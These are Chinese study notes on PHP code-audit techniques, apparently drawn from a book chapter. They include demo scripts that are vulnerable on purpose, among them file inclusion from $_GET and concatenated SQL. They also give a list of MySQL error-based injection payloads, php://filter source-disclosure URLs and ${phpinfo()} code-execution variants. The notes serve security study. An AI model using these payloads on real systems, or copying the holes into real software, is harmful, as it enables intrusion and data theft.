- [1. GPC等转义的绕过 ](#1-gpc等转义的绕过 )
- [1.1. 编码转换问题 ](#11-编码转换问题 )
- [2. 神奇的字符串 ](#2-神奇的字符串 )
- [2.1. 字符处理函数报错信息泄露 ](#21-字符处理函数报错信息泄露 )
- [2.2. iconv函数字符编码转换截断 ](#22-iconv函数字符编码转换截断 )
- [3. php://输入输出流 ](#3-php输入输出流 )
- [3.1. php://input ](#31-phpinput )
- [3.2. php://output和php://filter ](#32-phpoutput和phpfilter )
- [3.2.1. php://filter写文件 ](#321-phpfilter写文件 )
- [3.2.2. php://filter读文件 ](#322-phpfilter读文件 )
- [4. PHP代码解析标签 ](#4-php代码解析标签 )
- [5. fuzz漏洞发现 ](#5-fuzz漏洞发现 )
- [6. 不严谨的正则表达式 ](#6-不严谨的正则表达式 )
- [6.1. 没有使用^和$限定匹配开始/结束位置 ](#61-没有使用和限定匹配开始结束位置 )
- [6.2. 特殊字符未转义 ](#62-特殊字符未转义 )
- [7. 十余种MySQL报错注入 ](#7-十余种mysql报错注入 )
- [8. Windows FindFirstFile 利用 ](#8-windows-findfirstfile-利用 )
- [9. PHP可变变量 ](#9-php可变变量 )
转义绕过、字符串常见的安全问题、PHP输入输出流、FUZZ挖掘漏洞以及正则表达式不严谨。
# 1. GPC等转义的绕过
- GPC会自动把提交上去的单引号等敏感字符给转义掉
- 在PHP5之后用$_SERVER取到的header字段不受GPC影响
- 在header注入里面最常见的是user-agent 、referer 以及client-ip/x-forward-for
- $_FILES变量也不受GPC保护测试代码:
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "不受GPC保护的$_SERVER和$_FILES: "."< br / > ";
echo 'GPC目前的值为 '.get_magic_quotes_gpc();
echo '< br / > client-ip= ' . $_SERVER["HTTP_CLIENT_IP"];
echo '< br / > $_GET[a]= ' . $_GET[a];
?>
```

然后在浏览器中访问:
```
http://localhost/2020CodeAudit/c8/8-1-1-gpc-server.php?a=1'
```
看看发送包:

右键点中这个记录, Send to repeater

添加 http头, 发送Send
```
client-ip: a'
```
最后结果显示$_SERVER 中的环境变量并没有进行特殊字符的转义。
## 1.1. 编码转换问题
```php
< meta http-equiv = "Content-Type" content = "text/html; charset=utf-8" / >
< ?php
echo "mb_convert_encoding函数使用举例: "."< br / > ";
$sql = "where id = '" . urldecode("-1%df%5c' -- ") . "'";
print_r(mb_convert_encoding($sql,"UTF-8","GBK"));//编码转换函数
echo '< br / > ';
print_r($sql);
?>
```
```
http://localhost/2020CodeAudit/c8/8-1-2-covert-encode.php
```
结果:
```
mb_convert_encoding函数使用举例:
where id = '-1運' -- '
where id = '-1<> \' -- '
```
这就是以前讲的宽字节注入的漏洞,只不过这里使用 mb_convert_encoding 函数把UTF8转码到 GBK 进行模拟。可以看看源文件的编码是UTF8。
书上 144 页有个例子
# 2. 神奇的字符串
## 2.1. 字符处理函数报错信息泄露
- 要显示错误信息需要打开在PHP配置文件 php.ini 中设置 display_errors = on 或者在代码中加入error_reporting()函数
- 其中最常用的是E_ALL、E_WARNING、E_NOTICE
- E_ALL代表提示所有问题, E_WARNING代表显示错误信息, E_NOTICE则是显示基础提示信息。
trim ()函数对用户名等值去掉两边的空格,这时候如果我们传入的用户名参数是一个数组,则程序就会报错,测试代码:
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "利用报错信息举例:"."< br / > ";
echo trim($_GET['a']);//当输入?a[]=test时, 程序报错
?>
```
```
http://localhost/2020CodeAudit/c8/8-2-1-trim-error.php?a[]=test
```
结果:
```
利用报错信息举例:
Notice: Array to string conversion in C:\autit\www\2020CodeAudit\C8\8-2-1-trim-error.php on line 6
Array
```
## 2.2. iconv函数字符编码转换截断
- iconv()函数用来做字符编码转换;
- 比如从UTF-8转换到GBK字符集的编码转换总会存在一定的差异性, 导致部分编码不能被成功转换, 也就是出现常说的乱码。
- 在使用iconv()函数转码的时候,当遇到不能处理的字符串则后续字符串会不被处理
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "iconv()函数使用举例:"."< br / > ";
//chr() 函数从指定的 ASCII 值返回字符。
/*
ASCII码:
数字 32– 126 分配给了能在键盘上找到的字符, 当您查看或打印文档时就会出现。注: 十进制32代表空格 ,十进制数字 127 代表 DELETE 命令。
ASCII 表上的数字 0– 31 分配给了控制字符,用于控制像打印机等一些外围设备
扩展的 ASCII 包含 ASCII 中已有的 128 个字符,又增加了 128 个字符,总共是 256 个。
*/
$a = '1' . chr(130) . '2';
echo $a;
echo '< br / > ';
echo iconv("UTF-8","gbk",$a);
?>
```
```
http://localhost/2020CodeAudit/c8/8-2-2-2-iconv.php
```
结果:
```
iconv()函数使用举例:
1<EFBFBD> 2
1
```
通过这里例子可以看到, 转换后的字符串被切断了。149页的漏洞就是利用iconv这个特点, 可以上传任意类型的文件。
# 3. [php://输入输出流](https://www.php.net/manual/zh/wrappers.php.php)
- PHP提供了php://的协议允许访问 PHP的输入输出流、标准输入输出和错误描述符
- 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
151 页:
## 3.1. php://input
- 可以访问请求的原始数据的只读流。
- 即可以直接读取到POST没有经过解析的原始数据, 但是php://input不能以获取“multipart/form-data”方式提交的数据。
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://input使用举例: "."< br / > ";
echo file_get_contents("php://input");
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpinput.php
```

前面的例子中可以通过该方式注入PHP代码。
## 3.2. php://output和php://filter
- php://output: 将流数据输出
- php://filter是一个文件操作的协议, 可以对磁盘中的文件进行读写操作, 效果类似 于readfile()、file()和file_get_contents()
| 名 称 | 描 述 |
| ------------------------- | ------------------------------------------------------------ |
| resource=< 要过滤的数据流> | 该参数是必须的。它指定了你要筛选过滤的数据流 |
| read=< 读链的筛选列表> | 该参数可选,可以设定一个或多个过滤器名称,以管道符(\|) 分隔 |
| write=< 写链的筛选列表> | 该参数可选,可以设定一个或多个过滤器名称,以管道符(\|) 分隔 |
| < ;两个链的筛选列表> | 任何没有以read=或write=作前缀的筛选器列表会视情况应 用于读或写链 |
### 3.2.1. php://filter写文件
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://filter使用举例: "."< br / > ";
//ROT13是一种简易的替换式密码。
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello world123");
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-1.php
```
```file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello world123");```会向脚本同目录下写入“example.txt”文件, 内容为rot13编码过的“Hello World123”
```
Uryyb jbeyq123
```
### 3.2.2. php://filter读文件
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "php://filter使用举例2: "."< br / > ";
//输入?f=php://filter/convert.base64-encode/resource=1.php
include($_GET['f']);
?>
```
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-2.php?f=php://filter/convert.base64-encode/resource=1.php
```
结果:
```
php://filter使用举例2:
PD9waHANCglwaHBpbmZvKCk7DQo/Pg==
```
相当于使用 base64 对 1.php 文件进行编码,其结果被包含到输出流中。
如果是:
```
http://localhost/2020CodeAudit/c8/8-3-phpfilter-2.php?f=1.php
```
就会包含1.php中的内容, 如果有php代码, 就会执行。
# 4. PHP代码解析标签
PHP有几种解析标签的写法来标识PHP代码
- 脚本标签:```< script language = "php" >...< / script > ```从PHP7开始, 不支持该写法
- 短标签:```< ? ... ?>``` 需要在php.ini中设置```short_open_tags=On```
- asp标签: ```< % ...%>``` 需要在php.ini中设置```asp_tags=On```
```php
< html >
< head >
< meta http-equiv = "Content-Type" content = "text/html; charset=utf-8" / >
< title > PHP代码解析标签使用举例< / title >
< / head >
< body >
<!-- <? phpinfo(); ?> -->
<!-- <script language="php">phpinfo()</script> -->
< % phpinfo(); %>
< / body >
< / html >
```
```
http://localhost/2020CodeAudit/c8/8-4-php-tag.php
```
请查看 php 配置。
# 5. fuzz漏洞发现
- fuzz指的是对特定目标的模糊测试
- 当我们用Office Word打开doc文档的时候, Word软件会按照指定的格式读取文件的内容,
- 如果文件格式出现异常字符, Word无法解析, 而又没有提前捕捉到这种类型的错误, 则有可能引发Word程序崩溃, 这就是一个bug
- 这时候我们就可以通过工具生成大量带有异常格式或者字符的doc文档, 然后调用Word程序去读取, 尝试发现更多的bug。
书上 154 页
# 6. 不严谨的正则表达式
正则表达式也跟程序语言一样,规则写得不严谨,就会导致安全问题产生
## 6.1. 没有使用^和$限定匹配开始/结束位置
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo '不严谨的正则表达式,没有使用^和$限定开始结束位置:'."< br / > ";
// $ip = $_SERVER['HTTP_CLIENT_IP'];
// $ip = urldecode('127.0.0.1');
$ip = urldecode('127.0.0.1zzz');
echo $ip."< br / > ";
//if(preg_match('/\d+\.\d+\.\d+\.\d+/',$ip)){
if(preg_match('/^\d+\.\d+\.\d+\.\d+$/',$ip)){
echo $ip;
}
?>
```
```
http://localhost/2020CodeAudit/c8/8-6-pregrematch-1.php
```
```'/\d+\.\d+\.\d+\.\d+/'```没有限定开始和结束, 因此只要包含了合法IP地址的字符串都可以通过验证; ```'/^\d+\.\d+\.\d+\.\d+$/'```规定了开始和结束必须为数字。
## 6.2. 特殊字符未转义
在正则表达式里,所有能被正则表达式引擎解析的字符都算是特殊字符,而在匹配这些字符的原字符时需要使用反斜杠(\\\)来进行转义,如果不进行转义,像样英文句号(.)则可用来表示任何字符,存在安全隐患
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "不严谨的正则表达式,特殊字符未转义:"."< br / > ";
$filename = urldecode('xxx.php%00jpg');
if(preg_match('/.(jpg|gif|png|bmp)$/i',$filename)){
file_put_contents($filename,'aaa111');
}
else{
echo '不允许的文件扩展名';
}
?>
```
```
http://localhost/2020CodeAudit/c8/8-6-pregrematch-2.php
```
# 7. 十余种MySQL报错注入
- SQL Server利用的是convert()和cast()函数
- MySQL的报错 SQL注入方式更多, 不过多数人以为只有三种, floor()、updatexml()以及 extractvalue()这三个函数,
- 但实际上还有很多个函数都会导致MySQL报错并且显示出数据, 它们分别是
- GeometryCollection(),
- polygon()、
- GTID_SUBSET()、
- multipoint()、
- multilinestring()、
- multipolygon()、
- LINESTRING()、
- exp()
```php
< ?php
/*
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)a)
id=1 and (extractvalue(1,concat(0x5c,(select user()))))
id=1 and (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
id=1 and GeometryCollection((select * from(select * from(select user())a)b))
id=1 and polygon((select * from(select * from(select user())a)b))
id=1 and multipoint((select * from(select * from(select user())a)b))
id=1 and multilinestring((select * from(select * from(select user())a)b))
id=1 and multipolygon((select * from(select * from(select user())a)b))
id=1 and linestring((select * from(select * from(select user())a)b))
id=1 and EXP(~(select * from(select user())a))
*/
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "test";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);
// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$uid = $_GET['id'];
$sql = "SELECT * FROM userinfo where id=$uid";
$result = $conn->query($sql);
print_r('当前SQL语句: ' . $sql . '< br / > 结果:');
// var_dump($result);
if ($result->num_rows > 0) {//返回结果集中行的数量。
// 输出每行数据
while($row = $result->fetch_assoc()) {//从结果集中取得一行作为关联数组。
var_dump($row);
}
} else {
echo mysqli_error($conn);
}
//$result->free();
$conn->close();
?>
```
```
http://localhost/2020CodeAudit/c8/8-7-SQL.php? id=1 and (updatexml(1, concat(0x5e24,(select user()),0x5e24),1))
```
结果:
```
Warning: mysqli::mysqli() [mysqli.mysqli]: (28000/1045): Access denied for user 'root'@'localhost' (using password: YES) in C:\autit\www\2020CodeAudit\C8\8-7-SQL.php on line 29
连接失败: Access denied for user 'root'@'localhost' (using password: YES)
```
注意: mysql版本不同, 报错可能不同。
# 8. Windows FindFirstFile 利用
- 在Windows下时, 只需要知道文件所在目录, 然后利用Windows的特性就可以访问到文件
- 这是因为 Windows在搜索文件的时候使用到了 FindFirstFile这一个winapi函数
- 该函数到一个文件夹(包括子文件夹)去搜索指定文件。
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "Windows FindFirstFile函数利用举例: "."< br / > ";
include($_GET['file']);
?>
```
12.txt 文件
```php
< ?php
phpinfo();
?>
```
```
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=12.txt
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=1< .txt
http://localhost/2020CodeAudit/c8/8-8-findfirstfile.php?file=1< <
```
很多函数都有这个特性, 162 页。
| 函 数 | 功 能 | 函 数 | 功 能 |
| -------------------- | -------- | -------------------- | ---------- |
| include() | 包含文件 | file_put_contents() | 写入文件 |
| include_once() | 包含文件 | mkdir() | 创建文件夹 |
| require() | 包含文件 | tempnam() | 创建文件 |
| require_once() | 包含文件 | touch() | 创建文件 |
| fopen() | 打开文件 | move_uploaded_file() | 移动文件 |
| ziparchive: :open() | 打开文件 | opendir() | 文件夹操作 |
| copy() | 复制文件 | readdir() | 文件夹操作 |
| f ile_get_contents() | 读取文件 | rewinddir() | 文件夹操作 |
| parse_ini_file() | 读取文件 | closedir() | 文件夹操作 |
| readfile() | 读取文件 | | |
# 9. PHP可变变量
- 部分PHP应用在写配置文件或者使用preg_replace()函数第二个参数赋值变量时,会用到双引号(")来代表string类型给变量赋值
- 在PHP语言中, 单引号和双引号是有区别的, 单引号代表纯字符串, 而双引号则是会解析中间的变量, 所以当使用双引号时会存在代码执行漏洞
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "PHP可变变量举例: "."< br / > ";
$a = 'seay';
$$a = '123';
echo $seay;
?>
```
部分PHP应用在写配置文件或者使用preg_replace()函数第二个参数赋值变量时,会用到双引号(")来代表string类型给变量赋值
在PHP语言中, 单引号和双引号是有区别的, 单引号代表纯字符串, 而双引号则是会解析中间的变量, 所以当使用双引号时会存在代码执行漏洞。
“@”符号是必须存在的除了@符号还有其他的写法也一样可以。
```php
< ?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
error_reporting(E_ALL);
echo "PHP可变变量-phpinfo的用法举例: "."< br / > ";
//以下八条语句, 都可以执行phpinfo
//$a = "${@phpinfo()}";
//$a = "${ phpinfo()}"; // 空格
$a = "${ phpinfo()}"; // TAB
//$a = "${/**/phpinfo()}";
// $a = "${ // 分行,回车
// phpinfo()}";
//$a = "${+phpinfo()}";
// $a = "${-phpinfo()}";
// $a = "${!phpinfo()}";
?>
```
```php
http://localhost/2020CodeAudit/c8/8-9-phpinfo.php
```